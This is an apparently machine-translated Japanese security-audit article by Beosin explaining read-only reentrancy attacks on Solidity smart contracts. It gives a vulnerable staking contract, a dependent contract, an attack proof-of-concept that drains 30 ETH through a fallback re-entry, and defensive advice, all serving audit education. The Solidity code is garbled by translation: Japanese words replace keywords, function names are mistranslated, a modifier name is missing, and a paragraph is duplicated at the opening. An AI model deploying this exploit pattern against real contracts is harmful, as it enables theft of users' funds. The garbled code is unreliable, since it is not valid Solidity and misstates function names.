例えば、プロジェクトAの契約では、トークンの質入れとトークンの引き出しが可能であり、トークンと質入れした契約証明書の合計額に応じて価格を問い合わせる機能を提供します。質入れしたトークンと引き出したトークンの間にはリエントリーロックがあり、クエリは関数が存在しません。 リエントラントなロックが存在します。プレッジの引き出し機能を提供する別のプロジェクト B があります。プレッジと引き出しの間には再エントリ ロックがあります。プレッジの引き出し機能は、プロジェクト A の価格クエリ関数に依存してバウチャー トークンを計算します。
セキュリティ監査の必須知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは?
この記事の著者: Beosin セキュリティ研究専門家 Sivan
最近、ブロックチェーンエコシステムでリエントリー攻撃が多発していますが、これは以前知られていたリエントリー脆弱性とは異なり、プロジェクトにリエントリーロックがかかっている場合に発生する読み取り専用リエントリー攻撃です。
今日のセキュリティ監査に必要な知識として、Beosin セキュリティ研究チームが「読み取り専用リエントランシー攻撃」とは何かを説明します。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-75faa3f3ee-dd1a6f-1c6801)
どのような状況がリエントランシーの脆弱性のリスクにつながりますか?
Solidity スマート コントラクト プログラミングのプロセスでは、1 つのスマート コントラクトが別のスマート コントラクトのコードを呼び出すことができます。多くのプロジェクトのビジネス設計では、特定のアドレスにETHを送信する必要がありますが、ETHの受信アドレスがスマートコントラクトの場合、スマートコントラクトのフォールバック関数が呼び出されます。悪意のあるユーザーがコントラクトのフォールバック機能に適切に設計されたコードを作成した場合、再入可能性の脆弱性が発生するリスクがある可能性があります。
攻撃者は、悪意のあるコントラクトのフォールバック関数でプロジェクト コントラクトへの呼び出しを再度開始することができます。この時点では、最初の呼び出しプロセスは終了しておらず、いくつかの変数は変更されていません。この場合、2 番目の呼び出しにより、異常な変数を使用するためのプロジェクト契約により、関連する計算が実行されたり、攻撃者が一部のチェック制限を回避できるようになります。
つまり、リエントランシーの脆弱性の根本は、転送実行後にターゲット コントラクトのインターフェイスを呼び出すことにあり、レジャーの変更により、ターゲット コントラクトを呼び出した後のチェックがバイパスされます。つまり、設計が正しくありません。 check-validation-interaction モードに厳密に従っています。したがって、イーサリアム転送によって引き起こされる再入可能脆弱性に加えて、一部の不適切な設計も、次の例のような再入可能攻撃につながる可能性があります。
1. 制御可能な外部関数を呼び出すと、再入可能になる可能性があります
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-9e8d818ee9-dd1a6f-1c6801)
2. ERC721/1155 のセキュリティ関連機能により再入が発生する可能性がある
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-9dc869ef9e-dd1a6f-1c6801)
現在、リエントランシー攻撃は一般的な脆弱性です。ほとんどのブロックチェーン プロジェクト開発者は、リエントランシー攻撃の危険性も認識しています。リエントランシー ロックは基本的にプロジェクト内で設定されるため、リエントランシー ロックを持つ関数を呼び出すと、同じリエントラントを保持する関数はすべて呼び出されます。ロックを再度呼び出すことはできません。リエントリーロックは上記のリエントリー攻撃を効果的に防ぐことができますが、「読み取り専用リエントリー」と呼ばれる、防ぐのが難しい別の攻撃もあります。
防ぐのが難しい「読み取り専用リエントランシー」とは何ですか?
上記では、一般的なリエントラント タイプを紹介しました。その中心となるのは、異常状態を使用してリエントリ後の新しい状態を計算し、その結果、異常状態が更新されることです。次に、呼び出す関数がビュー変更された読み取り専用関数である場合、関数内で状態の変更は行われず、関数の呼び出し後はこのコントラクトに影響を与えません。したがって、そのような関数プロジェクトの開発者は、再入可能のリスクにあまり注意を払わず、再入可能ロックを追加しません。
リエントリービューによって変更された関数は基本的にこのコントラクトには影響しませんが、コントラクトがデータ依存関係として他のコントラクトのビュー関数を呼び出し、このコントラクトのビュー関数がリエントリーを追加しないという状況もあります。ロックすると、読み取り専用の再入が可能になるリスクが生じる可能性があります。
例えば、プロジェクトAの契約では、トークンの質入れとトークンの引き出しが可能であり、トークンと質入れした契約証明書の合計額に応じて価格を問い合わせる機能を提供します。質入れしたトークンと引き出したトークンの間にはリエントリーロックがあり、クエリは関数が存在しません。 リエントラントなロックが存在します。プレッジの引き出し機能を提供する別のプロジェクト B があります。プレッジと引き出しの間には再エントリ ロックがあります。プレッジの引き出し機能は、プロジェクト A の価格クエリ関数に依存してバウチャー トークンを計算します。
以下の図に示すように、上記の 2 つのプロジェクト間には読み取り専用の再入のリスクがあります。
攻撃者は ContractA にトークンを賭けて引き出します。
トークンを引き出すと、攻撃者のコントラクト フォールバック関数が呼び出されます。
攻撃者は、コントラクト内で再度 ContractB の pledge 関数を呼び出します。
プレッジ関数は ContractA の価格計算関数を呼び出しますが、この時点では ContractA の契約ステータスが更新されていないため、計算された価格に誤差が生じ、追加のトークンが計算されて攻撃者に送信されます。
再入力が完了すると、ContractA のステータスが更新されます。
最後に、攻撃者は ContractB を呼び出してトークンを引き出します。
この時点で、ContractB によって取得されたデータが更新され、より多くのトークンを引き出すことができます。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-34ed16cef6-dd1a6f-1c6801)
コード原則の分析
読み取り専用リエントランシーの問題を説明するために、次のデモを例に挙げます。以下は、実際のビジネス ロジックを含まない単なるテスト コードです。読み取り専用リエントランシーを検討するための参考としてのみ使用されます。
ContractA コントラクトを作成します。
pragma Solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; マッピング (アドレス => uint256) public _balances; bool check=true; /** * リエントリー ロック。 **/ modifier noreentrancy(){ require(check); check=false; _; check=true; }constructor(){ } /** * トークンとトークンの合計量に基づいて誓約額を計算します。契約証明書の質入額。精密処理の場合は 10e8 です。 **/ function get_price() public view virtual returns (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * ユーザーが誓約し、誓約額を増やし、バウチャー通貨を提供します。 **/ function destroy() public payable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * ユーザーは撤退し、プレッジ額を減らし、トークンの合計額を破棄します。 **/ functiondraw(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;
ContractA コントラクトをデプロイして 50ETH をプレッジすると、シミュレーション プロジェクトがすでに実行されています。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-6474d894a7-dd1a6f-1c6801)
ContractB コントラクトを作成します (ContractA コントラクトの get_price 関数に応じて):
pragma Solidity ^0.8.21;interface ContractA { function get_price() external view returns (uint256);}contract ContractB { ContractA Contract_a; マッピング (アドレス => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; }constructor(){ } function setcontracta(address addr) public {contract_a = ContractA(addr); } /** * 誓約トークン、ContractA 契約の get_price() に従って誓約トークンの価値を計算し、バウチャー トークンの数を計算します**/ function depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * ContractA 契約の get_price() に従ってトークンを引き出し、バウチャー トークンを計算します。 tokens**/ functiondrawFunds(uint256 burnamount) public payable noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a.get_price(); msg.sender .call{value:amount}(""); } function Balanceof(address acount) public view returns (uint256){ return _balances [acount] ;
ContractB コントラクトをデプロイして ContractA アドレスを設定し、30ETH をプレッジすると、シミュレーション プロジェクトがすでに実行されています。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-814137fdf3-dd1a6f-1c6801)
攻撃 POC コントラクトを作成します。
プラグマ Solidity ^0.8.21;インターフェイス ContractA { 関数 デポジット() 外部支払可能; 関数draw(uint256 amount) 外部;}インターフェース ContractB { 関数 デポジットファンズ() 外部支払可能; アクション Balanceof(アドレス アカウント) 外部ビューは (uint256) を返します;}契約 POC { 契約 A 契約_a; 契約 B 契約_b; 支払先住所 _owner; uint flag=0; uint256 デポジット金額=30 ether; ); } function setaddr(アドレス _contracta,アドレス _contractb) public { 契約_a=契約 A (_contracta);contract_b=ContractB(_contractb); } /** * 攻撃は関数の呼び出しを開始し、流動性の追加、流動性の削除、そして最後にトークンの引き出しを行います。 **/ function start(uint256 amount)public {contract_a.deposit{value:amount}();contract_a.withdraw(amount);contract_b.withdrawFunds(contract_b.balanceof(address(this) ))); } /** * 再入可能で呼び出されるステーキング関数。 **/ function destroy()internal {contract_b.depositFunds{value:depositamount}(); } /** * 攻撃が終わったら、ETH を引き出します。 **/ function getEther() public { _owner.transfer(address(this).balance); } /** * コールバック関数、リエントラント キー。 **/ fallback() 支払可能な外部 { if(msg.sender==address(contract_a)){ デポジット(); }
別の EOA アカウントに変更して攻撃コントラクトを展開し、50ETH を転送し、ContractA と ContractB のアドレスを設定します。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-ba553d475f-dd1a6f-1c6801)
start 関数に 50000000000000000000 (50*10^18) を渡して実行すると、ContractB の 30ETH が POC コントラクトによって転送されたことがわかります。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-ebe1dd0baa-dd1a6f-1c6801)
getEther 関数を再度呼び出すと、攻撃者のアドレスは 30ETH を取得します。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-8c91d01aad-dd1a6f-1c6801)
コード呼び出しプロセスの分析:
start 関数は、まず ContractA コントラクトのデポジット関数を呼び出して ETH を抵当にします。攻撃者は 50*10^18 に、最初のコントラクトが所有していた 50*10^18 を加えます。このとき、_allstake と _totalSupplyどちらも 100*10 ^18 です。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-651166db4a-dd1a6f-1c6801)
次に、ContractA のコントラクト引き出し関数を呼び出してトークンを引き出します。コントラクトは最初に _allstake を更新し、攻撃コントラクトに 50 ETH を送信します。このとき、攻撃コントラクトのフォールバック関数を呼び出し、最後に _totalSupply を更新します。 。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-693a08fa2c-dd1a6f-1c6801)
フォールバック関数では、攻撃コントラクトは ContractB コントラクトを呼び出して 30 ETH をプレッジします。get_price はビュー関数であるため、ContractB コントラクトは ContractA の get_price 関数に正常に戻ります。このとき、_totalSupplyは更新されていないため、まだ 100\ *10^18 ですが、_allstake は 50*10^18 に減少しているため、ここで返される値は 2 倍になります。攻撃コントラクトに 60*10^18 トークン コインが追加されます。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-9fc8c39a59-dd1a6f-1c6801)
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-b0b678935d-dd1a6f-1c6801)
リエントリー終了後、攻撃コントラクトはContractBコントラクトを呼び出してETHを抽出しますが、この時点で_totalSupplyは50*10^18に更新されており、証明書通貨と同量のETHが計算されます。 60ETHを攻撃コントラクトに転送しました。最終的に、攻撃者は 30ETH の利益を得ました。
!【セキュリティ監査に必要な知識:最近多発し、防ぐのが難しい「読み取り専用リエントランシー攻撃」とは? ](https://img-cdn.gateio.im/resize-social/moments-69a80767fe-d857f8197a-dd1a6f-1c6801)
Beosin セキュリティに関するアドバイス
上記のセキュリティ問題について、Beosin セキュリティ チームは次のように提案しています。 データ サポートとして他のプロジェクトに依存する必要があるプロジェクトの場合、依存プロジェクトと独自のプロジェクトの組み合わせのビジネス ロジック セキュリティを厳密にチェックする必要があります。 2 つのプロジェクトだけでは問題がない場合でも、結合後に重大なセキュリティ上の問題が発生する可能性があります。